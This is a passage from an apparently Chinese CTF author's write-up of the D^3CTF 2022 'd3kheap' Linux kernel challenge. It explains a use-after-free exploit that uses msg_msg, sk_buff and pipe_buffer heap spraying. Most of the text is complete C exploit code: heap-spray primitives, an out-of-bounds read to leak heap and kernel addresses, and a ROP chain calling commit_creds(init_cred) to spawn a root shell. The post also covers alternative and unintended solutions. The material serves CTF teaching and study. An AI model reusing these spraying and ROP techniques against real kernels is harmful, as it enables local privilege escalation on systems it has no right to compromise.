memset(buf, 'B', 0x1000);
buf[2] = fake_ops_addr;
buf[1] = 0xffffffff812dbede + kernel_offset; // push rsi ; pop rsp ; pop 4 val ; ret

// construct ROP
rop_idx = 4;
buf[rop_idx++] = POP_RDI_RET + kernel_offset;
buf[rop_idx++] = INIT_CRED + kernel_offset;
buf[rop_idx++] = COMMIT_CREDS + kernel_offset;
buf[rop_idx++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x16 + kernel_offset;
buf[rop_idx++] = *(size_t*)"arttnba3";
buf[rop_idx++] = *(size_t*)"arttnba3";
buf[rop_idx++] = getRootShell;
buf[rop_idx++] = user_cs;
buf[rop_idx++] = user_rflags;
buf[rop_idx++] = user_sp;
buf[rop_idx++] = user_ss;

printf("fake ops: %p, gadget: %p\n", buf[2], buf[1]);
setxattr("/tmp/exp", "arttnba3", buf, 0x2e0, 0);

// sleep(5);

// trigger
close(pipe_fd[0]);
close(pipe_fd[1]);

printf("[?] YOU FAILED? zen me hui shi ne?");
system("/bin/sh");

return 0;
}

不一定每次都能成功(由于开了 freelist 随机化的缘故,我们并不能保证进行 UAF 的 object 往高地址一定会有 msg_msg 结构体),但是经笔者实测成功率还是不低的

image.png

解法二:msg_msg + sk_buff 堆喷

Step.I 堆喷 msg_msg ,建立主从消息队列

既然我们现在有了一个UAF的机会,那么选用什么样的结构体作为 victim 呢?这里我们选择使用 msg_msg 这一结构体:

1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

当我们在一个消息队列上发送多个消息时,会形成如下结构:

image.png

我们不难想到的是,我们可以在一开始时先通过 d3kheap 设备提供的功能先获取一个 object 后释放,之后堆喷多个消息队列,并分别在每一个消息队列上发送两条消息,形成如下内存布局,这里为了便利后续利用,第一条消息(主消息)的大小为 96,第二条消息(辅助消息)的大小为 0x400:

image.png

此时我们的辅助消息便有极大的概率获取到之前释放的 object

利用 MSG_COPY 标志位可以读取消息队列上的消息而不释放,参见这里

Step.II 构造 UAF,堆喷 sk_buff 定位 victim 队列

此时我们直接利用题目的功能将辅助消息释放掉,便能成功完成 UAF 的构建,此时我们仍能通过其中一个消息队列访问到该辅助消息对应 object,但实际上这个 object 已经在 freelist 上了

image.png

但此时我们无法得知是哪一个消息队列命中了 UAF object,这个时候我们选用 sk_buff 堆喷劫持该结构体

类似于 msg_msg,其同样可以提供近乎任意大小对象的分配写入与释放,但不同的是 msg_msg 由一个 header 加上用户数据组成,而 sk_buff 本身不包含任何用户数据,用户数据单独存放在一个 object 当中,而 sk_buff 中存放指向用户数据的指针

image.png

至于这个结构体的分配与释放也是十分简单,sk_buff 在内核网络协议栈中代表一个「包」,我们不难想到的是我们只需要创建一对 socket,在上面发送与接收数据包就能完成 sk_buff 的分配与释放,最简单的办法便是用 socketpair 系统调用创建一对 socket,之后对其 read & write 便能完成收发包的工作

那么我们利用 sk_buff 堆喷向这个 UAF object 中写入什么数据呢?其实这里我们可以随便写入一些内容,之后我们使用 MSG_COPY flag 进行消息拷贝时便会失败,但不会 kernel panic,因此我们可以通过判断是否读取消息失败来定位命中 UAF 的消息队列

Step.III 堆喷 sk_buff 伪造辅助消息,泄露 UAF obj 地址

接下来我们考虑如何继续利用这个 UAF,由于其位于消息队列上,所以我们可以利用消息队列的性质来完成利用

首先我们考虑如何通过伪造 msg_msg 结构体完成信息泄露,我们不难想到的是可以伪造一个 msg_msg 结构体,将其 m_ts 域设为一个较大值,从而越界读取到相邻辅助消息的 header,泄露出堆上地址

我们泄露出来的是哪个地址?让我们重新将目光放回到消息队列的结构上:

image.png

我们不难知道的是,该辅助消息的 prev 指针指向其主消息,而该辅助消息的 next 指针指向该消息队列的 msg_queue 结构,这是目前我们已知的两个“堆上地址”

接下来我们伪造 msg_msg->next将其指向我们的 UAF object 相邻的辅助消息对应的主消息头部往前,从而读出该主消息的头部,泄露出对应的辅助消息的地址,有了这个辅助消息的地址,再减去 0x400 便是我们的 UAF 对象的地址

通过伪造 msg_msg->next 可以完成任意地址读,参见这里

Step.IV 堆喷 pipe_buffer,泄露内核基址

现在我们已知了可控区域的地址,接下来让我们来考虑泄露内核 .text 段的基址,以及如何劫持 RIP 完成提权

之前我们为什么将辅助消息的大小设为 0x400?除了方便对齐以外,还有一层考虑就是这个大小刚好有一个十分实用的结构体 pipe_buffer 数组,既能帮我们泄露内核代码段基址,也能帮我们劫持 RIP

当我们创建一个管道时,在内核中会生成数个连续的 pipe_buffer 结构体,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* struct pipe_buffer - a linux kernel pipe buffer
* @page: the page containing the data for the pipe buffer
* @offset: offset of data inside the @page
* @len: length of data inside the @page
* @ops: operations associated with this buffer. See @pipe_buf_operations.
* @flags: pipe buffer flags. See above.
* @private: private data owned by the ops.
**/
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};

pipe_buffer 中存在一个函数表成员 pipe_buf_operations ,其指向内核中的函数表 anon_pipe_buf_ops,若我们能够将其读出,便能泄露出内核基址,操作如下:

  • 利用 sk_buff 修复辅助消息,之后从消息队列中接收该辅助消息,此时该 object 重回 slub 中,但 sk_buff 仍指向该 object
  • 喷射 pipe_buffer,之后再接收 sk_buff 数据包,我们便能读出 pipe_buffer 上数据,泄露内核基址

Step.V 伪造 pipe_buffer,构造 ROP,劫持 RIP,完成提权

当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针,而 UAF object 的地址对我们而言是已知的,因此我们可以直接利用 sk_buff 在 UAF object 上伪造函数表与构造 ROP chain,再选一条足够合适的 gadget 完成栈迁移便能劫持 RIP 完成提权

image.png

Final EXPLOIT

最终的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400

#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42
#define VICTIM_MSG_TYPE 0x1337
#define MSG_TAG 0xAAAAAAAA

#define SOCKET_NUM 16
#define SK_BUFF_NUM 128
#define PIPE_NUM 256
#define MSG_QUEUE_NUM 4096

#define OBJ_ADD 0x1234
#define OBJ_EDIT 0x4321
#define OBJ_SHOW 0xbeef
#define OBJ_DEL 0xdead

#define PREPARE_KERNEL_CRED 0xffffffff810d2ac0
#define INIT_CRED 0xffffffff82c6d580
#define COMMIT_CREDS 0xffffffff810d25c0
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ff0
#define POP_RDI_RET 0xffffffff810938f0
#define ANON_PIPE_BUF_OPS 0xffffffff8203fe40
#define FREE_PIPE_INFO 0xffffffff81327570
#define POP_R14_POP_RBP_RET 0xffffffff81003364
#define PUSH_RSI_POP_RSP_POP_4VAL_RET 0xffffffff812dbede
#define CALL_RSI_PTR 0xffffffff8105acec

size_t user_cs, user_ss, user_sp, user_rflags;
size_t kernel_offset, kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred, commit_creds, swapgs_restore_regs_and_return_to_usermode, init_cred;

long dev_fd;
int pipe_fd[2], pipe_fd2[2], pipe_fd_1;

/*
* skb_shared_info need to take 320 bytes at the tail
* so the max size of buf we should send is:
* 1024 - 320 = 704
*/
char fake_secondary_msg[704];

void add(void)
{
ioctl(dev_fd, OBJ_ADD);
}

void del(void)
{
ioctl(dev_fd, OBJ_DEL);
}

size_t user_cs, user_ss, user_sp, user_rflags;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

struct list_head
{
uint64_t next;
uint64_t prev;
};

struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};

struct msg_msgseg
{
uint64_t next;
};

struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;

struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;

struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;

struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};

struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};

void errExit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}

int readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0);
}

int writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
*(long*)msgp = msgtyp;
return msgsnd(msqid, msgp, msgsz - sizeof(long), 0);
}

int peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)
{
return msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT);
}

void buildMsg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_type, uint64_t m_ts,
uint64_t next, uint64_t security)
{
msg->m_list.next = m_list_next;
msg->m_list.prev = m_list_prev;
msg->m_type = m_type;
msg->m_ts = m_ts;
msg->next = next;
msg->security = security;
}

int spraySkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
{
// printf("[-] now %d, num %d\n", i, j);
if (write(sk_socket[i][0], buf, size) < 0)
return -1;
}
return 0;
}

int freeSkBuff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size)
{
for (int i = 0; i < SOCKET_NUM; i++)
for (int j = 0; j < SK_BUFF_NUM; j++)
if (read(sk_socket[i][1], buf, size) < 0)
return -1;
return 0;
}

void getRootShell(void)
{
if (getuid())
errExit("failed to gain the root!");

printf("\033[32m\033[1m[+] Succesfully gain the root privilege, trigerring root shell now...\033[0m\n");
system("/bin/sh");
}

int main(int argc, char **argv, char **envp)
{
int oob_pipe_fd[2];
int sk_sockets[SOCKET_NUM][2];
int pipe_fd[PIPE_NUM][2];
int msqid[MSG_QUEUE_NUM];
int victim_qid, real_qid;
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
struct pipe_buffer *pipe_buf_ptr;
struct pipe_buf_operations *ops_ptr;
uint64_t victim_addr;
uint64_t kernel_base;
uint64_t kernel_offset;
uint64_t *rop_chain;
int rop_idx;
cpu_set_t cpu_set;

saveStatus();

/*
* Step.O
* Initialization
*/

// run the exp on specific core only
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

// socket pairs to spray sk_buff
for (int i = 0; i < SOCKET_NUM; i++)
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_sockets[i]) < 0)
errExit("failed to create socket pair!");

dev_fd = open("/dev/d3kheap", O_RDONLY);

/*
* Step.I
* build msg_queue, spray primary and secondary msg_msg,
* and use OOB write to construct the overlapping
*/
puts("\n\033[34m\033[1m[*] Step.I spray msg_msg, construct overlapping object\033[0m");

puts("[*] Build message queue...");
// build 4096 message queue
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
if ((msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");
}

puts("[*] Spray primary and secondary msg_msg...");

memset(&primary_msg, 0, sizeof(primary_msg));
memset(&secondary_msg, 0, sizeof(secondary_msg));

// get a free object
add();

// spray primary and secondary message
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
*(int *)&primary_msg.mtext[0] = MSG_TAG;
*(int *)&primary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &primary_msg,
sizeof(primary_msg), PRIMARY_MSG_TYPE) < 0)
errExit("failed to send primary msg!");

*(int *)&secondary_msg.mtext[0] = MSG_TAG;
*(int *)&secondary_msg.mtext[4] = i;
if (writeMsg(msqid[i], &secondary_msg,
sizeof(secondary_msg), SECONDARY_MSG_TYPE) < 0)
errExit("failed to send secondary msg!");

if (i == 1024)
del();
}

/*
* Step.II
* construct UAF
*/
puts("\n\033[34m\033[1m[*] Step.II construct UAF\033[0m");

// free the victim secondary msg_msg, then we get a UAF
puts("[*] Trigger UAF...");
del();

// spray sk_buff to mark the UAF msg_msg
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
*(uint64_t*)"arttnba3", SECONDARY_MSG_SIZE, 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// find out the UAF queue
victim_qid = -1;
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
/*
* the msg_msg got changed, so we can't read out
* but it tells us which one the victim is
*/
if (peekMsg(msqid[i], &secondary_msg, sizeof(secondary_msg), 1) < 0)
{
printf("[+] victim qid: %d\n", i);
victim_qid = i;
}
}

if (victim_qid == -1)
errExit("failed to make the UAF in msg queue!");

if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

puts("\033[32m\033[1m[+] UAF construction complete!\033[0m");

/*
* Step.III
* spray sk_buff to leak msg_msg addr
* construct fake msg_msg to leak addr of UAF obj
*/
puts("\n\033[34m\033[1m[*] Step.III spray sk_buff to leak kheap addr\033[0m");

// spray sk_buff to construct fake msg_msg
puts("[*] spray sk_buff...");
buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
VICTIM_MSG_TYPE, 0x1000 - sizeof(struct msg_msg), 0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// use fake msg_msg to read OOB
puts("[*] OOB read from victim msg_msg");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");

if (*(int *)&oob_msg.mtext[SECONDARY_MSG_SIZE] != MSG_TAG)
errExit("failed to rehit the UAF object!");

nearby_msg = (struct msg_msg*)
&oob_msg.mtext[(SECONDARY_MSG_SIZE) - sizeof(struct msg_msg)];

printf("\033[32m\033[1m[+] addr of primary msg of msg nearby victim: \033[0m%llx\n",
nearby_msg->m_list.prev);

// release and re-spray sk_buff to construct fake msg_msg
// so that we can make an arbitrary read on a primary msg_msg
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

buildMsg((struct msg_msg *)fake_secondary_msg,
*(uint64_t*)"arttnba3", *(uint64_t*)"arttnba3",
VICTIM_MSG_TYPE, sizeof(oob_msg.mtext),
nearby_msg->m_list.prev - 8, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

puts("[*] arbitrary read on primary msg of msg nearby victim");
if (peekMsg(msqid[victim_qid], &oob_msg, sizeof(oob_msg), 1) < 0)
errExit("failed to read victim msg!");

if (*(int *)&oob_msg.mtext[0x1000] != MSG_TAG)
errExit("failed to rehit the UAF object!");

// cal the addr of UAF obj by the header we just read out
nearby_msg_prim = (struct msg_msg*)
&oob_msg.mtext[0x1000 - sizeof(struct msg_msg)];
victim_addr = nearby_msg_prim->m_list.next - 0x400;

printf("\033[32m\033[1m[+] addr of msg next to victim: \033[0m%llx\n",
nearby_msg_prim->m_list.next);
printf("\033[32m\033[1m[+] addr of msg UAF object: \033[0m%llx\n", victim_addr);

/*
* Step.IV
* fix the header of UAF obj and release it
* spray pipe_buffer and leak the kernel base
*/
puts("\n\033[34m\033[1m[*] Step.IV spray pipe_buffer to leak kernel base\033[0m");

// re-construct the msg_msg to fix it
puts("[*] fixing the UAF obj as a msg_msg...");
if (freeSkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

memset(fake_secondary_msg, 0, sizeof(fake_secondary_msg));
buildMsg((struct msg_msg *)fake_secondary_msg,
victim_addr + 0x800, victim_addr + 0x800, // a valid kheap addr is valid
VICTIM_MSG_TYPE, SECONDARY_MSG_SIZE - sizeof(struct msg_msg),
0, 0);
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// release UAF obj as secondary msg
puts("[*] release UAF obj in message queue...");
if (readMsg(msqid[victim_qid], &secondary_msg,
sizeof(secondary_msg), VICTIM_MSG_TYPE) < 0)
errExit("failed to receive secondary msg!");

// spray pipe_buffer
puts("[*] spray pipe_buffer...");
for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
errExit("failed to create pipe!");

// write something to activate it
if (write(pipe_fd[i][1], "arttnba3", 8) < 0)
errExit("failed to write the pipe!");
}

// release the sk_buff to read pipe_buffer, leak kernel base
puts("[*] release sk_buff to read pipe_buffer...");
pipe_buf_ptr = (struct pipe_buffer *) &fake_secondary_msg;
for (int i = 0; i < SOCKET_NUM; i++)
{
for (int j = 0; j < SK_BUFF_NUM; j++)
{
if (read(sk_sockets[i][1], &fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to release sk_buff!");

if (pipe_buf_ptr->ops > 0xffffffff81000000)
{
printf("\033[32m\033[1m[+] got anon_pipe_buf_ops: \033[0m%llx\n",
pipe_buf_ptr->ops);
kernel_offset = pipe_buf_ptr->ops - ANON_PIPE_BUF_OPS;
kernel_base = 0xffffffff81000000 + kernel_offset;
}
}
}

printf("\033[32m\033[1m[+] kernel base: \033[0m%llx \033[32m\033[1moffset: \033[0m%llx\n",
kernel_base, kernel_offset);

/*
* Step.V
* hijack the ops of pipe_buffer
* free all pipe to trigger fake ptr
* so that we hijack the RIP
* construct a ROP on pipe_buffer
*/
puts("\n\033[34m\033[1m[*] Step.V hijack the ops of pipe_buffer, gain root privilege\033[0m");

puts("[*] pre-construct data in userspace...");
pipe_buf_ptr = (struct pipe_buffer *) fake_secondary_msg;
pipe_buf_ptr->page = *(uint64_t*) "arttnba3";
pipe_buf_ptr->ops = victim_addr + 0x100;

ops_ptr = (struct pipe_buf_operations *) &fake_secondary_msg[0x100];
ops_ptr->release = PUSH_RSI_POP_RSP_POP_4VAL_RET + kernel_offset;

rop_idx = 0;
rop_chain = (uint64_t*) &fake_secondary_msg[0x20];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
rop_chain[rop_idx++] = *(uint64_t*) "arttnba3";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_rflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;

puts("[*] spray sk_buff to hijack pipe_buffer...");
if (spraySkBuff(sk_sockets, fake_secondary_msg,
sizeof(fake_secondary_msg)) < 0)
errExit("failed to spray sk_buff!");

// for gdb attach only
printf("[*] gadget: %p\n", kernel_offset + PUSH_RSI_POP_RSP_POP_4VAL_RET);
printf("[*] free_pipe_info: %p\n", kernel_offset + FREE_PIPE_INFO);
sleep(5);

puts("[*] trigger fake ops->release to hijack RIP...");
for (int i = 0; i < PIPE_NUM; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
}

运行即可完成提权,成功率比笔者最初拍脑门想的解法要高得多XD

image.png

0x03.其他的预期解

除了笔者的官方解法以外,笔者认为以下方法应当也能解开本题(笔者未进行尝试):

  • 由于整个文件系统是直接在内存中的,因此可以直接搜索内存寻找 flag(笔者本人并不推荐这种专注于 flag 本身的解法)
  • 直接分配其他可以劫持 RIP 的结构体,然后爆破内核 .text 段偏移,在 pt_regs 上构造 ROP
  • slub 大师通过巧妙构造泄露出 cookie 与堆上地址,然后劫持 freelist(笔者有思路但笔者认为这种解法过于麻烦 + 没有必要)
    • 泄露出内核基址后后写一些全局指针(例如 n_tty_ops
    • 利用 prctl 修改 current_task 的 comm 成员,暴力搜索内存找到 cred
  • 将 double free 应用到其他的结构体上,使其转换为一个已知的 CVE 后直接打
  • 利用 0day 或是(笔者不知道的) 1day 直接打 kernel

0x04.解题情况与非预期

这一次的 D^3CTF 中笔者的题是第二批放出的,但在笔者放出题目后不久便被 W&M 战队拿下了一血,而整个比赛中解出了这道题目的队伍也达到了 8 支之多,笔者原以为是自身出题水准不足以至于出的题目只有签到题水平于是被各大战队秒杀(虽然笔者本身就很菜),但事情往往没有笔者所想的那么简单

在比赛结束时,我们发放了一份调查问卷,而笔者在其中看到了一条对笔者题目的评价——

image.png

笔者在看到这条消息之后整个大脑一片空白,马上从比赛平台上下载下来题目附件,解压,果然在 /tmp 目录下看到了一个熟悉的 exp 文件…

image.png

赛后笔者查阅选手们的 wp,确乎是有一半的队伍利用笔者留下来的 exp 解出了这道题,这也令这道题的做题体验大打折扣,在这里笔者向大家献上最诚挚的歉意🙇🏽‍♂️🙇🏽‍♂️🙇🏽‍♂️!!!

不过比较幸运的一点是笔者本地测试时是直接在根目录下测试的,因此 setxattr 的第一个参数是 /exp,而对于远程环境而言根目录对选手是不可写的,选手的 exp 路径应当为 /tmp/exp,这也让这个 exp 无法被直接打通(否则可能解题队伍数量还得翻个数十倍…),不过选手仍可以逆向出 exp 逻辑后进行修改

wp 中只有四支队伍是正常做题的,解法基本上都是预期解——使用 msg_msg 泄露信息与 pipe_buffer 劫持 RIP,不过都比笔者这个笨拙的解法要优秀上许多(笑),基本上可以归为两种题解:

  • 喷射 pipe_buffer 与 sk_buff,参照 CVE-2021-22555 的解法完成解题(3支队伍)
  • 喷射大量 pipe_buffer 后直接用 setxattr 修改 msg_msg 越界读泄露出 kernel base,修改 msg_msg->next 到 vmemmap_base 前 8 字节(刚好为 NULL),这个地方存放了几个全局变量(指向 vmemmap_basevmalloc_basepage_offset_base 的指针等都在这里),读出“堆基址”后用一个堆上地址修复 msg_msg 的 header,然后劫持 pipe_buffer。这个解法和笔者的解法基本上是一样的

笔者在出题过程中其实也看到了 CVE-2021-22555,这个漏洞本身是一个 off-by-null,最后转化为一个 UAF 进行利用,因此与笔者的这道题最终是可以殊途同归的,事实证明正常解题的队伍基本上都参照了这个漏洞(笑),不过笔者还是希望能够探索出一条别的道路,所以你在上面看到的笔者的解法其实与这个漏洞的利用过程并非是完全一样的

外国友人对本题的评价:

This is a standard kernel pwn challenge. We are given an unprivileged shell in a Linux VM, and the flag can only be read by root. The VM loads a vulnerable kernel module, which we have to exploit to gain root privileges and read the flag.

说实话这一次出题确实还是比较常规,希望笔者明年能够想到一些更好的东西XD

0x05.总结与反思

虽然在官方解法中使用了“看似非常通用的解法”解出了这道题,但笔者其实是不太满意的:

  • 该方法仅适用于较大的 object,对于小一点的 object 或者 kmem_cache->offset 为 0 的情况则很容易让我们无法修复 msg_msg,甚至就无法分配 msg_msg (小于 0x30 的情况)
  • 在劫持 RIP 的过程当中仍然需要根据 object 大小去找对应的可用结构体,而没有一个更加通用的劫持控制流的办法,这无疑造成了相当程度的限制
  • 对于独立的 kmem_cache 而言无法使用该方法进行利用,因为此时 msg_msg 不从该处分配
  • 真实环境中在进行内存分配的并非只有我们,很容易被其他进程拿到 freelist 造成 kernel panic
  • 这个方法似乎并不能在泛 Linux 平台上通用(据悉 Android 并不能使用这一套 IPC API,笔者尚未查证)

因此笔者认为这道题目充其量能在 D3CTF 这一档次的比赛中充当签到题,但笔者还是希望笔者对“通解”的探索能够给大家带来一些新的思考(笑)

在出题过程当中还遇到了这样的问题,原因暂且不明,也希望了解其细节的大师傅不吝赐教:

  • 笔者惯用的手法是利用 pt_regs 结构体构造 ROP,控制栈迁移到此处,但是在本题中每次劫持 RIP 时内核栈顶到栈底的相对偏移都并非一固定值,因此笔者只好用传统的堆上 ROP 方式,笔者暂且不清楚是什么原因造成了偏移值不固定的情况的出现
  • 对于 5.14 及往上版本的内核,setxattr 与 msgsnd 不会从同一张 slub 上取 object(一个是 GFP_KERNEL_ACCOUNT 而另一个是 GPF_KERNEL,但这两个 flag 在之前的版本中似乎并不会造成 slub 的隔离),但笔者尚未发现 5.14 内核中 slub 涉及的源码的相关改动(笔者仅粗略检索了源码)

【CTF.0x06】D^ 3CTF2022 d3kheap 出题手记
http://blog.arttnba3.cn/2022/03/08/CTF-0X06-D3CTF2022_D3KHEAP/
作者
arttnba3
发布于
2022年3月8日
许可协议